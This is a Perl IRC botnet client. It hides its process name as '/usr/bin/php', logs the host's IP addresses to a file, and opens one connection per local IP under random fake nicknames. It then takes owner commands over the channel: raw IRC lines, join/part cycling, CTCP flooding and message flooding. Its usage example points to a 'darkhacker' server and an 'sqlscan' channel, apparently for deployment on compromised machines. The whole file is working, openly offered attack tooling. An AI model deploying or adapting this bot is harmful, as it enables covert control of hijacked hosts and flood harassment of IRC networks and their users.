#!/usr/bin/perl

######################
my $server = $ARGV[0];
my $port = $ARGV[1];
my $channel = "#$ARGV[2]";
my $owner = $ARGV[3];
my $procname = "/usr/bin/php/usr/bin/php";
######################

my @nickname = (
"cwe|[kingstone]",
"cwe|[batur4ja]",
"cwe|[palemb4ng]",
"cwe|[cyberuni]",
"cwe|[libr4]",
"cwe|[4ries]",
"cwe|[met4l]",
"cwe|[flex1]",
"cwe|[cuteZ]",
"ce`[netr4l]",
"ce`[akp0l]",
"ce`[indonesi4]",
"ce`[faceb00k]",
"ce`[g4ul]",
"ce`[visu4l]",
"ce`[chattin9]",
"ce`[rumah4n]",
"ce`[lind4]",
"ce`[lad4z]",
"cew^[j4v4]",
"cew^[chantiX]",
"cew^[langsatz]",
"cew^[lad1z]",
"cew^[sed1h]",
"cewex`CR`cowox",
"cew^[ac3r]",
"cew^[bungsu]",
"cew^[pold4]",
"cew^[extrimez]",
"ce_[perZ]",
"ce_[tangguH]",
"ce_[baikZ]",
"ce_[chanelQ]",
"ce_[rusunZ]",
"ce_[BotZ]",
"ce_[ranggerz]",
"ce_[minah]",
"cex_[rita]",
"an4g`king",
"chint4",
"ChenChen",
"MiZhAcKeRz",
"Putri`rosonZ",
"Dewi`rosoNZ",
"Gen`girlZ",
"GirlZ`MovieZ",
"Ninj4`girlZ",
"The`GirlZ",
"V1oletZ",
"The`ChubY",
"V`g1rlz",
"Ken`dedeZ",
"c0w`kingstone",
"c0w`batur4ja",
"c0w`palemb4ng",
"c0w`libr4",
"c0w`4ries",
"c0w`met4l",
"c0w`flex1",
"c0w`ganten9",
"c0w`netr4l",
"c0w`akp0l",
"c0w`indonesi4",
"Om2`ganten9",
"co`CuakepZ",
"co`Selin9kuH",
"co`mam1",
"co`sak1T",
"co`DokteRZ",
"co`tigeRZ",
"co`schoolZ",
"co`KristianI",
"cw0`pint4R",
"cw0`Pembal4P",
"cw0`faceb00k",
"cw0`g4ulz",
"cw0`visu4l",
"cw0`chattin9",
"cw0`rumah4n",
"cw0`lad4z",
"cw0`j4v4",
"cw0`sed1h",
"cowox`CR`cewex",
"cw0`bungsu",
"cw0`pold4",
"DJ`N174R`",
"Ca`vuera",
"Sh4dow`Bl4cK",
"Cy`berUN1",
"Mu`Pe",
"G`abang`",
"Hu`Nt",
"Fa`Fang",
"Gen`joKZ",
"Jen`d",
"Dj`rereZ",
"Ro`Zi",
"Yugo`CloudY",
"va`ynard",
"croco`dile",
"Ken`arhoK",
"BaNd1tZ",
"NeTgAtE",
"King`stonE",
"SpeedrideR",
"Bl4ckrideR",
"eb3ng",
"Ad`djie",
"A`gaZ",
"FiX`edsis",
"an4ng",
"AHMAD`KODRI",
"Asti`rohainI",
"Anesia`meilarosA",
"Agusri",
"Adi`saputra",
"Berni`KaranzA",
"BassarudiN",
"Bambang",
"Dian`ekasusanti",
"Dewa`dorA",
"Eka`rantawiati",
"Erisa`sandI",
"Eko`saputrA",
"Fransiska`oktarinA",
"Feronika`sihombinG",
"Fiman`susilO",
"Gizti1AgihM",
"Meita`ayudiA",
"MSefta`Aquinaldo",
"Novi`kurniAwatI",
"Putri`suciatI",
"Resta`handayanI",
"Rio`permatA",
"Rio`PriyantO",
"RopeN",
"Satriawan`wijaYa",
"Solbia`pratiwI",
"Jeffri`kondeffer",
"Ce_cu4ntiX",
"Ce^KesepiaN",
"The_GirlZ",
"Ce_Sed1H",
"Ce_Tul4liT",
"Ce_ac3r",
"Ninj4_girlZ",
"Ce_XtEcgO",
"Ce_AkpOlZ",
"Ce_PeleTZ",
"Ce-Batur4j4",
"Ce-Palemban9",
"Ce_NineGirL",
"Ce_penj4h4T",
"Ce-Penyayan9",
"Ce^Bun99sU",
"GirlZ_MovieZ",
"Ce-Xl",
"Ce-Suc1",
"Ce^beg4L",
"Ce^Libr4",
"Ce^Nek4T",
"Ce^Cari^cO",
"Ce^JomblO",
"Generazi_girlZ",
"Ce^Dj",
"Ce_N4k4L",
"Ce_PakecT",
"Ce^vhirg1NZ",
"Ce^botZ",
"Ce-1RC",
"Dew1^rosoNZ",
"Putri^rosonZ",
"Ce^islamZ",
"Ce^rumahaN",
"Ce^kesep14N",
"Ce_pold4",
"Ce_BUMN",
"GanK_girL",
"Ce^chok1",
"King_stone",
"Ce_B4turajA",
"Ce^Fo^King",
"Ce^Boh4y",
"Ce^Penguas4",
"Ce^HeboHZ",
"Ce^Mulu2",
"Ce_k3rj4",
"Ce_p3nsiunZ",
"Ce_h4ckerZ",
"Ce_tan99uH",
"MiZZhackerZ",
"Ce_Xtr1meZ",
"Ce_petarunGZ",
"Co_PINT4R",
"Co-BeGo",
"Ce^CApunK",
"Ce-CamaR",
"Ce-PelaKU",
"Ce-AntiQ",
"Ce-Ceri4",
"Ce-FleX1",
"Ce-Chindo",
"Ce-TapaI",
"Ce-CubeZ",
"Ce-LOLO",
"Ce^BengaK",
"Ce-MINUM",
"Ce-NEt",
"Ce-perZX",
"Ce^FaceBook",
"Ce_IDenT",
"Ce-HumoriS",
"Ce-DugeM",
"Ce^MabuK",
"VioletZ",
"Ce-SembakO",
"Abdulrazak",
"Ackerman",
"Adams",
"Addison",
"Adelstein",
"Adibe",
"Adorno",
"Ahlers",
"Alavi",
"Alcorn",
"Alda", 
"Aleks",
"Allison",
"Alongi",
"Altavilla",
"Altenberger",
"Altenhofen",
"Amaral",
"Amatangelo",
"Ameer",
"Amsden",
"Anand",
"Andel", 
"Ando",
"Andrelus",
"Andron",
"Anfinrud",
"Ansley",
"Anthony",
"Antos",
"Arbia",
"Arduini",
"Arellano",
"Aristotle",
"Arjas",
"Arky",
"Atkins",
"Bachmuth",
"Backus",
"Bady",
"Baglivo",
"Bagnold",
"Bailar",
"Bakanowsky",
"Baleja",
"Ballatori",
"Ballew",
"Baltz",
"Banta",
"Barabesi",
"Barajas",
"Baranczak",
"Baranowska",
"Barberi",
"Barbetti", 
"Barneson",
"Barnett",
"Barriola",
"Barry",
"DeLaPena",
"del'Enclos",
"deRousse",
"Debroff",
"Dees",
"Defeciani",
"Delattre",
"Deleon-Rendon", 
"Delger",
"Dell'acqua",
"Deming",
"Dempster",
"Gabrielli",
"Gaggiotti",
"Galeotti",
"Galwey", 
"Gambini",
"Garfield",
"Garman",
"Garonna",
"Geller",
"Gemberling",
"Georgi",
"Gerrett",
"Ghorai",
"Gibbens",
"Gibson",
"Gilbert",
"Gili",
"Gill",
"Gillispie", 
"Gist",
"Gleason",
"Glegg",
"Glendon",
"Goldfarb",
"Goncalves",
"Good",
"Linder", 
"Line",
"Linehan",
"Linzee",
"Lippmann",
"Lipponen",
"Mocroft",
"Modestino",
"Moeller",
"Mohr",
"Moiamedi",
"Monque",
"Montilio", 
"MooreDeCh.",
"Morani",
"Poirier",
"Polak",
"Polanyi",
"Shepherd",
"Sheppard",
"Shepstone",
"Shesko",
"Shia", 
"Shibata",
"Shimon",
"Siesto",
"Sigalot",
"Sigini",
"Signa",
"Toye",
"Traebert",
"Trenga",
"Trewin",
"Tringali",
"Troiani",
"Troy",
"Truss",
"Tsiatis",
"Tsomides",
"Tsukurov",
);

my @realname  = ("14,4AgaZ Luph NeLLa");
my @WHO;
my $qqum="*";
$ARGC=@ARGV;
if ($ARGC !=4) {
print "\n+ FedEx StyLe\n";
 print "+ Aturan Pakai : perl $0 (server) (port) (channel) (admin)\n";
 print "+ contoh : perl $0 darkhacker.ps-x.org 6667 sqlscan FedEx\n\n";
 exit(1);
}
$SIG{CHLD} = sub { wait }; # alterando o signal
my $qtip = qx(/sbin/ifconfig |grep inet | wc -l);
my @ips1 =qx(/sbin/ifconfig |grep \"inet addr\:\" \|awk \-F \' \' \'\{\print \$2\} \' \| cut \-c6\-);
my @ips2 =qx(/sbin/ifconfig \-a |grep \"inet end\.\:\" \|awk \-F \' \' \'\{\print \$3\} \');
my @fbsd =qx(/sbin/ifconfig \|grep \"inet\" \|awk \-F \' \' \'\{\print \$2\} \' \| cut \-c1\-);
@ips = (@ips1, @ips2, @fbsd);
open(ipzitcho,">ips.txt") || die "- ips.txt not found";
          print ipzitcho" @ips";
          close(ipzitcho);
@ips = grep { s/\n$// } @ips;
$0 =  $procname  . "\0";
$nick2 = $nick;
print STDOUT "¤ Slacky StyLe\n";
print STDOUT "\n";
print STDOUT "¤ Server : $server\n";
print STDOUT "¤ Port   : $port\n";
print STDOUT "¤ Owner  : $owner\n";
print STDOUT "¤ Channel: $channel\n";
print STDOUT "¤ IPs    : $qtip\n";
print STDOUT "¤ ps-xIRC Network (ps-x.org)\n";
use IO::Socket;
foreach my $FROM (@ips) {
 my $pid = fork(); # gerando um novo processo
  unless ($pid) {   #
my $ident = $nickname[rand scalar @nickname];
my $nick = $nickname[rand scalar @nickname];
my $name = $realname[rand scalar @realname];
$sock=IO::Socket::INET->new(LocalAddr => $FROM, Proto=>"tcp", PeerAddr=> $server, PeerPort=> $port) || exit();
 print $sock "NICK ".$nick."\n";
 print $sock "USER $ident $FROM $server :$name\n";
 while (<$sock>) {
  if (/^:.+?\s433\s/) { # nick already in use
    $nick2 = $nickname[rand scalar @nickname];
    print $sock "NICK ".$nick2."\n";
  }
  if (/^:.+?\s376\s/) { # end of motd
    print $sock "JOIN $channel\n";
  }
  if(/^PING :(.*)/){ #replying the ping
    print $sock "PONG :$1\n";
  }
  if(/^\:$owner!.*\@.*PRIVMSG.*:.cmd(.*)/){
    print $sock "$1";
  }
  if(/^\:$owner!.*\@.*PRIVMSG.*:.help(.*)/){
    print $sock "NOTICE ".$owner." :bego ama sih Lu\n";
  }
  if(/^\:$owner!.*\@.*PRIVMSG.*:.msg(.*)/){
    print $sock "PRIVMSG ".$1." :".$2."\n";
  }
  if (/^:.+?\s+352\s+\S+\s+\S+\s+(.+?)$/) {
    my $nicks = $1;
    #$nicks =~ s/\n//;
    #$nicks =~ s/\r//;
    push(@WHO, split(/ /, $nicks));
    print STDOUT "$who[1]\n";
  }
  if(/^\:$owner!.*\@.*PRIVMSG.*:.join(.*)/){
    print $sock "JOIN ".$1." : ".$2."\n";
  }
  if(/^\:$owner!.*\@.*PRIVMSG.*:.part(.*)/){
    print $sock "PART ".$1." : ".$2."\n";
  }
  if(/^\:$owner!.*\@.*PRIVMSG.*:`cycle(.*)/){
    print $sock "JOIN ".$1." : ".$2."\n";
    for (1 .. 5) {
    print $sock "PART ".$1." : ".$2."\n";
    print $sock "JOIN ".$1." : ".$2."\n";
    }
  }
  if(/^\:$owner!.*\@.*PRIVMSG.*:.ctcp(.*)/){
    for (1 .. 5) {
    print $sock "PRIVMSG ".$1." :\001VERSION\001\n";
    print $sock "PRIVMSG ".$1." :\001PING\001\n";
    }
  }
  if(/^\:$owner!.*\@.*PRIVMSG.*:.cipok(.*)/){
    print $sock "JOIN ".$1." : ".$2."\n";
    for (1 .. 5) {
    print $sock "PRIVMSG ".$1." :".$2."\n";
    }
  }
  if(/^ERROR :(.*)/){
    use IO::Socket;
    $sock=IO::Socket::INET->new(LocalAddr => $FROM, Proto=>"tcp", PeerAddr=> $server, PeerPort=> $port) || exit();
    print $sock "NICK ".$nick."\n";
    print $sock "USER $ident $FROM $server :$name\n";
  }
  if(/^\:$owner!.*\@.*PRIVMSG.*:.die(.*)/){
    die();
  }
  if(/^\:.*: Connection timed out(.*)/){
    print STDOUT "[~] Connection Timed Out! Retrying!\n";
    use IO::Socket;
    $sock=IO::Socket::INET->new(LocalAddr => $FROM, Proto=>"tcp", PeerAddr=> $server, PeerPort=> $port) || exit();
    print $sock "NICK ".$nick."\n";
    print $sock "USER $ident $FROM $server :$name\n";
  }
  if( /^\:$owner!.*\@.*\s+PRIVMSG.*:.owner\s+(.*)/ ){
    $owner =$1;
    $owner =~ s/ //;
    $owner =~ s/\r$//;
    $owner =~ s/\n$//;
  }
 }
 exit;
 } 
}